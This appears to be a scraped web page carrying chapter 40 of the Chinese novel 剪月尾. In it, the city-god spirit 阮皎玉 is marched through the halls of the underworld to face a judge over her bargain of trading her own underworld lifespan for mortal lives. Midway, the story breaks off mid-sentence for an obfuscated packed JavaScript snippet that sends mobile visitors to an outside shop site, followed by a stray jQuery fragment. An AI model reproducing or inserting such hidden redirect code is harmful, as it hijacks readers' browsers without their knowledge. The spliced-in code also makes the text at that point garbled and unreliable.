文趣网 > 其他小说 > 剪月尾 > 40. 地府
    忘川有灵,嘉人长久。

    奈何桥头,待前尘皆忘,仍执于愿者,愿愿皆偿。

    ——楔子其二

    琼河因贝币被冠以“琼”字之前,叫做鬼王河。

    世人皆知其河水流自西向东,浩浩荡荡,纵横万里,却不知幽冥暗流恰恰相反,自鬼王河下由东向西奔腾,人顺着这个方向游动,顺着看似是逆流而上,实则是顺流而下,待到耗尽身上力、腑中气、心头血时,见到四周墨浪翻涌,便知已至忘川。

    忘川河上奈何桥,桥下一条黄泉大路,径直穿过十重阎王殿与判官掌下四曹司。路上生灵死魄熙熙攘攘,头顶无天无日,也无有岁时流逝,唯有殷红血光隐隐,两侧鬼火森森,照人向生向死,各有其分。

    此刻,本该一切如常,可忘川河边忽地突起一阵巨浪。

    那巨浪掀至奈何桥前,径直拍撞上岸,“哗啦”一声将近处的一群生魂浇得湿透,一堆密密麻麻的小鬼随着浪头冲出来,被摔得七零八落、残缺不已,打着滚尖声哭叫起来。

    “啊啊啊啊啊啊啊啊啊啊啊啊——!”

    孟婆正站在桥上,垂眼往下一瞥,小鬼们便如被扼住喉咙般没了声息,纷纷化作青烟飘了上去,落在桥上整齐地排成一排,每人端了一碗汤,一口一口地喝汤。

    阮皎玉趴伏在河岸,从四面青烟里抬起头来,望见的是鬼差宽大的衣摆,其下空空荡荡,没有一丝血肉。

    再往上,是鬼差青白面皮上的虚伪假笑,它抬袖做了个“请”的手势。

    “城隍大人,阴律司判官已等候多时了,您这边走——”

    阮皎玉想撑起身来,可浑身僵冷,双手似有千斤重,冒着寒气的魂索还铐在她腕上,长长的锁链垂在耳边,一路延伸进不见尽头的黄泉路。

    鬼差好整以暇地看着她,没有任何相帮的意思。

    都到这儿了,还怕我跑走吗?阮皎玉有些轻蔑地想。

    她艰难无比地站起来,手臂沉沉地拽着肩头往下坠,只能将所有力气都用来相抗,踉踉跄跄地往前迈出了步子。

    黄泉路上拥挤万分,二人沿着一侧路旁鬼火,逆着人流往地府深处而行,阮皎玉实在是没了躲避的力气,垂着眼径直将一个个生魂穿胸而过,耳畔听着它们发出疑惑的惊叫,在她背后纷纷低着头检查着自己完好无损的“身体”。鬼差一双阴冷的眼睛紧紧地盯在她后背,其身躯本就是空壳,遇见一群生魂停在原地惊慌地叫嚷,当即化为黑烟,从中穿身而过。

    行了一段路,眼前现出一座嵯峨大殿。

    殿上不用雕梁玉台琉璃瓦,只有黑红双彩漆满四柱,以青幽鬼火为灯照路,幽光打在殿后,一群锦衣宽袍人自其上行过,却无人留影,旁侧还有两条黝黑无光的小道,散发着阴森的鬼气,不知通往何方。

    这是第十阎罗轮转王的大殿,殿内空有兽面差守怒目相向,不见阎王。

    阮皎玉无意间向那两条小道上瞥了一眼,便径直穿过大殿,往下一殿行去,在殿前台阶上打下暗长的斜影。

    约百几年前,她从琼河里救出第一个人起,就有鬼差将她从河里请到了阴律司,说是凡人一命生老病死皆有定数,这是阴阳薄上的算式,合该归判官属下阴律司、察查司、赏善司、罚恶司四个门司分管,而她为妖身城隍,掌管人间鬼王河,无权擅自越过四门司改人命数,此举犯了阴律第一千二百八十六条,按律当送往十殿阎罗处,交由阎王惩处。

    那一回,是她第一次进到地府,只觉得满目的幽暗阴森远甚于河底。

    一路上所见,尽是魑魅魍魉、鬼怪横行,人死后的魂魄会在地府化作临死前的情形,因此环绕她周身的生魂面上不是麻木呆滞,便是扭曲狰狞,无数张脸层叠在一起,随着行走步调起伏,如同惨白的波涛,令人悚然。

    那时,她原本以为自己已经感不到冷暖了,却在地府扑面的寒气里几欲发抖,面对着两侧殿守所持的刀枪剑戟,抬眼便是面色威严的判官,只能满心恐慌地站在殿上,不知要如何自辩——她对什么幽冥、阴司一无所知,只是见不得有人在水中苦苦挣扎,出手救了她一命而已。

    殿上众座听完她颤着声、显得朴素无比的自述,却是沉默了,然后一同扭过身,在座后私语起来。

    阮鱼在殿内瑟缩成一团,等待着宣判,原本以为自己在劫难逃,必得要去它们口中的“十殿阎罗”处领罚了,却听众座转回身来,判官话音一转,言说她虽不是其上所述四类,却是属于阴曹司的城隍,即使阴曹司早已脱出地府分设到了阳间,但照样与判官司、孟婆所掌的轮回司一同并属三司,涉及阴阳之事,若是遇见急况,斟酌处置,也在情理之中。

    鬼差奉上一本极厚无比的、泛黄的旧册,她翻开一看,里面尽是密密麻麻的魂魄生平转世,详尽之处,甚至记出其历经了几世,死于何方、投胎何地。

    阮鱼心里猛地一跳,顿时将十殿阎罗抛到了一旁,不管不顾地抱起册子,一目十行地寻找着程青的名字。

    她教过她的,她教过她,因此她若是见到,一定能认出来……

    ……没有。

    没有。

    还是没有。

    她趴在地上、状似癫狂般指着一列列小字往下读,白到发青的指尖飞速移动、翻页,却见整本旧册忽然脱手,跳页至一面空白新页。

    她扑上前去,伸手拼命地捻着册边,先前的旧纸页却像黏在一起了似的,怎么都捻不开,抬头一看,却见眼前不知何时被摆上了桌案笔砚,墨水已然磨好,判官高坐殿上,神色奇异地俯视着她,见她望过来,居高临下地做了个“请”的手势。

    “将城隍之名记于阴阳薄上,往后若再有类似之事,你便可用自身阴寿相抵,延续凡人阳寿,行便宜之权,无需再到阴律司通报。”那人如是说。

    她低下头,空白纸面上“啪”地显出两滴水迹,始觉自己面上已尽是泪痕。

    座上鬼差不耐地发出嗟嘘声,阮鱼颤抖着手提笔蘸墨,在纸上写下了一个“阮”字,正要添上“鱼”字时,却忽地顿悬。

    她踟蹰良久,落笔写上了“皎玉”。

    刚写完最后一笔,阴阳薄便在名后显现出通红小字:三千一百一十四,她只来得及瞥了一眼,册薄案笔便一同被收走。

    方才写的二字仿佛给了阮鱼力量,她从地上站起身来,抬袖抹掉眼下泪痕,仰头问判官:“我的阴寿能给一个凡人抵多久的阳寿,能抵到她们老死吗?”

    “自然是一年抵一年。”

    “那……我至多能同时抵给多少人?”

    如同听到了笑话一样,众鬼差一同咯咯尖笑起来,判官阴阳怪气道:“若是城隍大人愿意,救上千百个人养个几年,自然也是行的,待到阴寿耗尽,便可与他们一道重回苦海了。”

    “……”

    冷热忽地交替。

    阮皎玉回过神来,发觉自己已经一路穿过六、七、八、九四殿,越过铁狗、刀枪二山,来到了第五殿。

    殿内热如火烤,一口能纳下十人的热油锅摆在正中,澄红浆油沸腾翻滚,碎肉骨渣不断搅动升腾,隐约可见人的发丝缠绕其中。

    掌管此地的天子王不知去向,殿上仍旧是只有鬼差。

    她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947719|213014||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    垂下眼避开那口热油锅,只盯着自己的脚尖,从一旁绕过,又行了一段长长的路程,走过第四殿碓舂石磨旁的遍地残渣,走过碎裂的望乡台,在忘川涛水怒喝声中踩上独木桥,一路走至一殿后的滑油山,据说山路湿滑无比,行善之人可轻易行走,行恶之人的尸骨喂与忘川。

    越是靠近判官司所在,阮皎玉手脚上的枷锁就愈加冰寒刺骨,沉重无比,每走一步都碰撞出叮当的响声,足印深深陷进路里。

    阴律司派来的鬼差不远不近地跟在她身后,轻松地飘过山路上的滑油,无动于衷地看着身前的人迎着险峻山路,一步一步往前挪,没有发出一点声息。

    阮皎玉从未回过头,她无需回头,背后的阴寒气息一直提醒着它的存在。

    地府鬼差的行事作风始终带着丝丝缕缕的阴狠森意,这一回更是毫不遮掩,她怀疑自己若不是顶了个城隍的名号,按照她所犯下的阴律,早就被带到十殿阎罗那里,进了那口油锅,而不是又动用刑具,又逆行生魂才需走的黄泉道,在这里暗暗地磋磨。

    这回会是什么事呢?

    阮皎玉心中隐约预感,是因这回,她的阴寿当真所剩无几了。

    当初,在她刚救起小丫子不久,白无常以其阳寿为挟,要将她拘往阴律司,被她于道中逃脱,此后几年她盘踞在明罗河周围,日日悬心吊胆,可此后居然一直风平浪静。

    按照阮皎玉往日对地府的印象,这几乎绝非可能。

    遇见白无常时,她刚从程双圆处离开,近乎失魂落魄,突闻对方说起此事,脑中的弦立刻绷断,六神无主地应下随其前行,以至于事后回想起来,方觉中间荒谬之处何止一处——她早与判官有过协议,将名字记于阴阳薄册之上,直接用阴寿抵凡人阳寿用,何须再去阴律司改命添寿?

    在救完人后,她还水淹了小仓村。

    此举脱离了与判官定下的内容,可白无常只字未提……她的确就是为了小丫子一事而来。

    难道当初那个判官在与自己成议后,并未将此事告知拘魂使吗?

    阮皎玉后来忆起,每当救完人后,她的确会在附近瞥到一些面孔,偶有牛头马脸,其余多是惨白笑面,还有一回是漆黑一团的哭丧脸,这些身影总是一闪而过,从不久留,她原本以为它们只是途径此地,与自己无关,只因她如今行走阴阳两界,所以偶能见到而已。

    可如今想来,这些鬼差应当都是拘魂使,按照阴阳薄上所记前来拘魂,却因见到自己在侧,只得无声退走。

    若真是如此,无怪那一回白无常如此不客气,想来已是白跑数回,隐忍许久,才不得不将此事揭到明面上。

    阮皎玉自滑油山上走下,一步步挪到第一殿后,大殿门槛高近膝盖,她迈步越过时抬不起脚,一个趔趄,单膝跪倒在地,发出一声沉闷的“咚”响。

    她咬了咬牙,撑着门槛站起来,垂手紧紧抓住腕下冒着寒气的锁链,指间顿时冷雾四溢。

    她险些忘了……她的阴寿牵着的不仅仅是自己,还有程双圆和桃源上的许多人命。

    判官手中有阴阳薄,直接掌管寿命之事,此行又是去阴律司,若说仍有一丝希望,那必定是在殿上与之转圜。

    可此次地府来者不善,能容得下她分辩,允得了她恳求吗?

    “判官已等候良久,还请城隍大人莫要再耽搁。”鬼差在身后悠悠地说。

    阮皎玉一声没吭,撑着发软的膝盖继续往前走去,穿过最后一座大殿,来到一座府庙门前,仰起头,见到其上牌匾墨色鲜红,如同人血写就。

    时隔近百年,她又踏进了阴律司。